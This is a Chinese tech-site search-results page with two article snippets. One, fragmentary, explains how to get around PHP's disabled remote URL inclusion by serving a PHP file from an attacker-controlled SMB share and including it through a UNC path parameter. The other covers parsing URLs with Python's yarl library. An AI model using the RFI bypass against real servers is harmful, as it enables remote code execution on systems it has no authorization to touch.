首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PHP远程文件包含(RFI)并绕过远程URL包含限制

前言 本文我们讲如何绕过远程URL包含限制。...在PHP开发环境php.ini配置文里”allow_url_fopen、allow_url_include“均为“off”的情况下,不允许PHP加载远程HTTP或FTP的url进行远程文件包含时。...确定PHP不允许远程文件包含 ? 试图从我们kali主机包含文件时,应用程序抛出错误并且没有发生RFI 在kali上配置我们的SMB服务器 创建演示php程序文件 ?...page=\\192.168.0.101\share\phpinfo.php 目标机器从SMB共享中获取PHP文件并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。 ?...附录 allow_url_fopen和allow_url_include对文件包含的影响 allow_url_fopen #允许url打开远程文件,如果url传入的参数是本地文件的不受此限制 当allow_url_fopen

2.6K30
您找到你想要的搜索结果了吗?
是的
没有找到

2.1 利用yarl解析url信息

利用yarl解析url信息   基于yarl中的URL(),我们可以从任意合法的url中解析出下图所示的各个构成部分:   先来看一个简单的例子,其中对我保管每一篇博客文章附件的github仓库路径...编码后的样子,直接调用human_repr()方法即可进行解码还原:   而通过获取对应url各部分名称的属性,即可分别提取出相应信息:   其中端口信息是基于scheme信息按照常规情况进行推断的...,http即为80,https即为443,若需要获取url中显式出现的端口信息,可以使用explicit_port:   针对url中的hash标签信息则可以通过fragment取得:   若要解析的...url中包含query参数信息,则可以直接调用query得到MultiDict类型的返回结果,这是种特殊的字典类型,它允许存在重复的键,对于不存在重复的键值对,可以像普通字典那样索引值,否则则需要通过getall...()方法来返回所传入键对应的所有值列表:   可以感受到通过yarl解析url非常的方便~ 2.2 利用yarl构造url   当我们需要基于已有的各部分信息构造url时,yarl就更加方便了,基础的方式是基于

51820
领券